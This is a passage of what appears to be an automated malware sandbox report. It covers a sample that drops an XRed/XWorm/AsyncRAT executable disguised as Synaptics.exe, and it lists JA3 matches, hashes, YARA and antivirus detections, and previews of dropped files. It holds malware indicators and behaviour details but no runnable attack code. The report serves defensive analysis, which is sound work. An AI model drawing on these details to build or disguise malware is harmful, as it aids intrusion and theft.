	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_160.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT, XRed	Browse	69.42.215.252
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_282.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_250.exe	Get hash	malicious	XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Draft Commercial Invoice.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.67
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.253.67
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.253.67
	app.exe	Get hash	malicious	Unknown	Browse	13.107.253.67
	vwAGeX1bR4.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	13.107.253.67
	uV7ttrc7wN.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	13.107.253.67
	FBS2024000000392.docx	Get hash	malicious	Unknown	Browse	13.107.253.67
	DOC4634563783PDF..exe	Get hash	malicious	Unknown	Browse	13.107.253.67
	DOC4634563783PDF..exe	Get hash	malicious	Unknown	Browse	13.107.253.67
	c6oM7Xg0ud.dll	Get hash	malicious	Unknown	Browse	13.107.253.67
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	216.58.212.129 216.58.206.46
	file.exe	Get hash	malicious	Vidar	Browse	216.58.212.129 216.58.206.46
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	216.58.212.129 216.58.206.46
	kahyts.exe	Get hash	malicious	GuLoader	Browse	216.58.212.129 216.58.206.46
	FlashUpdates.js	Get hash	malicious	Unknown	Browse	216.58.212.129 216.58.206.46
	mbdcKkZ3Ag.exe	Get hash	malicious	GuLoader	Browse	216.58.212.129 216.58.206.46
	4h1Zc12ZBe.exe	Get hash	malicious	Stealc	Browse	216.58.212.129 216.58.206.46
	FBS2024000000392.docx	Get hash	malicious	Unknown	Browse	216.58.212.129 216.58.206.46
	#U0421#U041c#U0413#U0421 #U0412#U0430#U0433#U043e#U043d #U211628870905.exe	Get hash	malicious	FormBook, GuLoader	Browse	216.58.212.129 216.58.206.46
	Request for Quotation + sample catalog.vbs	Get hash	malicious	FormBook	Browse	216.58.212.129 216.58.206.46

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_fb1bf96a5f9d95323c844b5818a2571d831030bc_7e550805_b635f97a-8b31-4315-929a-035df9a7d6bc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.131826102545421
Encrypted:	false
SSDEEP:	192:Pf2Vps6ISg0jM3ODzJDzqjLOA/FFmOVzuiFxZ24IO8eDzy:Sy6ljM3OJqjEqzuiFxY4IO8ey
MD5:	4392A39AFD31FA90A616DB24FB6AC002
SHA1:	32053CEE8D7A346A9169F0CF1B6F931E55D7CC39
SHA-256:	F6EED98DE9A9B69CF731B5DD5D7AFC2199A0D34D75D28E7C343FB49AF6517580
SHA-512:	50F3BF116BD264CB194DA4A35718ACE82E96F24422F815C14A947EF709764EC1C3C0CD807FBEA0F30993092205FC887B37E5FE19F754CEA05EB74E7EDF8FCAEB
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.8.7.9.8.6.7.0.8.8.8.9.5.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.8.7.9.8.6.8.0.6.3.8.9.5.2.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.6.3.5.f.9.7.a.-.8.b.3.1.-.4.3.1.5.-.9.2.9.a.-.0.3.5.d.f.9.a.7.d.6.b.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.6.9.0.d.7.0.-.e.b.7.a.-.4.7.2.e.-.9.d.c.c.-.c.e.9.4.f.9.9.3.1.c.3.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.4.4.-.0.0.0.1.-.0.0.1.4.-.a.3.7.0.-.2.1.d.f.8.3.f.4.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.b.e.4.c.c.0.0.4.d.f.2.4.3.6.2.7.5.7.d.8.1.5.5.4.e.0.3.b.b.8.e.0.0.0.0.0.4.0.8.!.0.0.0.0.b.d.0.6.a.3.4.5.4.8.c.2.a.0.2.8.b.d.9.2.b.9.c.3.e.4.8.6.f.a.6.d.a.9.5.2.3.7.5.7.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE23.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Aug 22 11:11:14 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	4912856
Entropy (8bit):	2.1527912492609307
Encrypted:	false
SSDEEP:	12288:X8iaYyR1zplazB3Hizh/yz/Z2x8BC1yk9rpCKEZW7:MiahyzB3izltx8BFk9rpvEa
MD5:	3A1C40D8F5349DD5C47E3D1ADC5ABF16
SHA1:	B5C5C4A8DDB18AA14F84F030314A2F769BA856DA
SHA-256:	B2145944921C04A7DF1DD1307B4675080FFF487849B5A3D31404FCE836B006A2
SHA-512:	3E04DA520D328CEFF85A615018E146E43D5F8143CD4FE8D888C102A2036A0265F1CCA3B418920D3B2F1EC9E2ADFE29308C32D29A02335522CFD6BF20149A80A5
Malicious:	false
Preview:	MDMP..a..... ..........f.............R...............Y......$...@y...........U..........`.......8...........T...........(....)I.........dy..........P{..............................................................................eJ.......{......GenuineIntel............T.......D......f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE38E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6304
Entropy (8bit):	3.7149217049057692
Encrypted:	false
SSDEEP:	192:R6l7wVeJykxA6bkYim+SnMEpDZ89bcGsf+0m:R6lXJy6bkYyqM/clfE
MD5:	30E0C82D5422DCD08C2A4029C61BB224
SHA1:	5C927670A1B1C92E02D644277ADF2A51168DEC4B
SHA-256:	FC2D9CD7C312CD2D17F910BA74AFE0CD9238981D7075910D12A60648730286ED
SHA-512:	5BE606F662AEE5B9B608FE55178CD73DBDD10EC7C3F6A483085B9B3EDC182F7F4BDB9AA6066B3C4D015915E960AF1A273991E34209DB874278641422F43B2024
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3AF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.442172202578489
Encrypted:	false
SSDEEP:	48:cvIwWl8zsBJg77aI97oWpW8VY4zYm8M4JJCFVy+q8w6POZsd:uIjfTI7tB7VRmJ+yAmZsd
MD5:	AC63AE82B1E144C258162A39C9107561
SHA1:	512FE520D54A34F57F3D59BED2674517D1150A9A
SHA-256:	D5BE035B439B5C86705A3F6631017ABD1ED6B8AA4FD135F886046AEF3A2364A0
SHA-512:	CD953165E63694A8D0BC75B0674F8F96AD7FC5FEB2995A34FCC55D5E1FF5D9F198AE500F12B95645AFB91E021543B125FD6AA47A81345939514FFF785A1B2D21
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="466694" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCXEF1B.tmp

Download File

Process:	C:\Users\user\Desktop\Client.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	762368
Entropy (8bit):	6.642018184138927
Encrypted:	false
SSDEEP:	12288:vMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9QU:vnsJ39LyjbJkQFMhmC+6GD93
MD5:	B2B36F3E560521D53BD607DD291E3C08
SHA1:	BD06A34548C2A028BD92B9C3E486FA6DA9523757
SHA-256:	B950370DE86A4496DA5959653B7370C9A8FFA6481698D463997951F534442CF9
SHA-512:	3896171D0AAD860ACA5CB53165757915E7C7F0A4273F0C2815751B9DFBEE0FFD6F9B444EDC0D9E082686ECD7CFD6ACE3D68A4C5BFCCD56AE57FA8A00CE8F660F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXEF1B.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXEF1B.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\Client.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	801792
Entropy (8bit):	6.638882852177806
Encrypted:	false
SSDEEP:	12288:WMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9+uRs:WnsJ39LyjbJkQFMhmC+6GD9Zu
MD5:	754AA1E8BAA350CB36B05DDF8FEB5BBE
SHA1:	E92550C30B6BC1D529E4D6B9DBDC1F282AB6945D
SHA-256:	DCC01ABEF7D4734C5694C36F9F61238153C357E094BDA00F173BF3DBBBBDEDEF
SHA-512:	4B6E63CF2F2EEDC2334865409348CCF7F6E6A122D8A9A2E0C1F21200B871E3542C976C9D4B88DEA6CB9472D318BA815A602031964ECB5B6567047AB0717CE2D5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\XClient.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Temp\1mGsWnW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268460151159566
Encrypted:	false
SSDEEP:	24:bsF+0mqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+WI+pAZewRDK4mW
MD5:	23BC3079FF96952E04598FC25AFE7058
SHA1:	E51CFF4E05AF063FDBC17948F240F94385C9B1DD
SHA-256:	9F60FA53FFCE8E70B8B80F7B9A7B26DA0711304AC3A9C4F3660D404799253ABC
SHA-512:	012F328F7FB08028B0FD7294E16D7E87F5087088F061EC21F6093A8CFF458BA0B27FCDC21E080B27C1EF6C2E82B215D63E74F7A6938A749E7DE98331A127E50D
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lxYLsqdQyPAZ9Y0qXUJx4w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\4TtlMaW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.257428720516761
Encrypted:	false
SSDEEP:	24:bsF+0wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+X+pAZewRDK4mW
MD5:	5ED51F949585BAB1EC01D7C3BE0CCF32
SHA1:	F7C3D8F8487893570D0989F9BB6E57DA762F671C
SHA-256:	B7C7983538C9EFADFBEE48BB69F7D8F41C5F09343A93E5C90B06459B555D27E0
SHA-512:	04F798DBAB798C927D4C150ECAC2C77B4EE8B926E05E83386F5D8F32D83540E077975F4678274525B3E8B480FB603AE1A16C343E43D09A5ADE884082F44F935A
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zmRrdnU_6uk_3PWup69dvQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\5vYPaPJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267469895414169
Encrypted:	false
SSDEEP:	24:bsF+0wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+P+pAZewRDK4mW
MD5:	590009A8F70E4B8B7A27395B42C7156A
SHA1:	2954AC8DF64FD62A5FCBE55F8C822C3C6BEC909E
SHA-256:	151D1EF91F293B46DCDB97768842EE0F7BE6270BBAE018B4FAD131C3DA7A4603
SHA-512:	EBCF8C56A7B5E65F081AE49357B68C03B74D3141D847F7A44300C58331079F53F1FA97EED95F2F93382729DEB67C4F141A6705F03EAEE6F284C6E2516471E769
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SZWqOr3WDHrSlJ0YJhugvg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\7XZIpml.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260150058570388
Encrypted:	false
SSDEEP:	24:bsF+0qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+l+pAZewRDK4mW
MD5:	5360E7CD6F7285F9755455F27D8CF587
SHA1:	0D4DE88C06C037578C4551B172C7F89FED3EC05E
SHA-256:	2B97C46CBA28E2B47F9E1814DEC3A68F6374639D7F8F169E08F550483A85C775
SHA-512:	80EF1C2B7CE1E77A5F3E8B537B5866FFAF10D095C9F2F9BBAB6EDE51DFC90AEC8BD27EFDFB842AF5A8DB1D613F2BF464B5BAC2E6D15E41BCD3C2589B36060FC7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="e9ktVwP2CboJJNSqcT1dfA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\8XTIdA4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256299857400978
Encrypted:	false
SSDEEP:	24:bsF+0GRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+hR+pAZewRDK4mW
MD5:	B7D6C4D98EB287ED9777A5731573D0E9
SHA1:	AD2D9F55261F4780DFAC8EB47B0B86D6558CB598
SHA-256:	7E931B21EB3303666F8434086F1011FAEDA1A50833EC93B25EAFFEB41F7BC75B
SHA-512:	53D2D1F69B9575F95B45C39F4FA3C3367DCB61D1AE138385AD6BFA36595CA3620BDAE8E2BDC5CA9B2CB40654CEB11B68649E0DA897F7EEB581918BB450470F30
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cbz9KGsPN1N1Z2rn6w1mbQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\AdftQpd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268580872248048
Encrypted:	false
SSDEEP:	24:bsF+05SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+y+pAZewRDK4mW
MD5:	493EA62671CE08D45A04A1DA76EBA791
SHA1:	30FA807A283C947945A32FC0B2FB7AAD929F699D
SHA-256:	D38B4529A840DA2E907B7BEE7207E72396BFB30403CD5BAABDDE5728A96DC769
SHA-512:	D0B87F60F4AB5147BF041D0EE63FC1D9E3D5498EBA1BB50AE6086AA80B8164236C57DF70DF18A0865248EA129EF61F5ABE5DDD4094FB095877C6A09048583B09
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="x5MOI19syZMo8pRF9QHFuQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\DLcFGhL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265564425814105
Encrypted:	false
